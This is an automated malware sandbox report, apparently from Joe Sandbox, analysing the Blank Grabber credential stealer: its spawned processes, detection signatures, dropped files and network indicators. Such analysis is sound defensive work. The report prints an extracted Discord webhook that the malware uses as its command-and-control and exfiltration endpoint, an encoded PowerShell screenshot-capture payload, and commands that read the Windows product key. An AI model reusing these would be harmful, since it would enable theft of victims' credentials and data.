WMIC.exe (PID: 6228 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 6932 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 1008 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI68562\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.188703701.0000024133485000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.246634028.0000024133487000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.244345388.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.188703701.0000024133487000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.244090909.0000014C6DD8D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.244259837.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: VSSADMIN.EXE.exe PID: 6856	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: VSSADMIN.EXE.exe PID: 6872	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: VSSADMIN.EXE.exe PID: 6872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAH

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Found malware configuration

Source: VSSADMIN.EXE.exe.6872.1.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k"}

Multi AV Scanner detection for submitted file

Source: VSSADMIN.EXE.exe

ReversingLabs: Detection: 23%

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

ReversingLabs: Detection: 23%

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE74901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

59_2_00007FF6EE74901C

Source: VSSADMIN.EXE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.245837300.00007FFD43EF0000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: VSSADMIN.EXE.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.pdb source: powershell.exe, 00000025.00000002.213633316.000001FB93A2A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb@@ source: VSSADMIN.EXE.exe, 00000001.00000002.245935470.00007FFD43F76000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1u 30 May 2023built on: Wed May 31 23:27:41 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: VSSADMIN.EXE.exe, 00000000.00000003.187735351.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.246585404.00007FFD59301000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: VSSADMIN.EXE.exe, 00000000.00000003.187735351.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.246585404.00007FFD59301000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246056631.00007FFD43FF1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: 0.pdb(kD . source: powershell.exe, 00000025.00000002.224011476.000001FBAB192000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmp, rar.exe, 0000003B.00000000.226038634.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD402EB000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-1_1.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245935470.00007FFD43F76000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246494699.00007FFD592D1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.pdbhP source: powershell.exe, 00000025.00000002.213633316.000001FB93A2A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246395707.00007FFD59241000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246442794.00007FFD59271000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: VSSADMIN.EXE.exe, 00000001.00000002.246221693.00007FFD5269C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246354219.00007FFD55601000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246221693.00007FFD5269C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246310845.00007FFD52DF1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246171168.00007FFD507E1000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: VSSADMIN.EXE.exe, 00000001.00000002.246126564.00007FFD449E1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.246012635.00007FFD43FC1000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C77850 FindFirstFileExW,FindClose,	0_2_00007FF614C77850
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C909E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF614C909E4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86744 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	1_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C77850 FindFirstFileExW,FindClose,	1_2_00007FF614C77850
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C909E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF614C909E4
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7546EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	59_2_00007FF6EE7546EC
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7988E0 FindFirstFileExA,	59_2_00007FF6EE7988E0
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE74E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	59_2_00007FF6EE74E21C

Networking

May check the online IP address of the machine

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	DNS query: name: ip-api.com
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	DNS query: name: ip-api.com

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData
Source: powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete
Source: powershell.exe, 00000008.00000002.200799345.0000019600202000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery

Source: VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187886205.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187886205.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187991838.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188204639.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188359144.000002413348F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000000.00000003.188122863.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
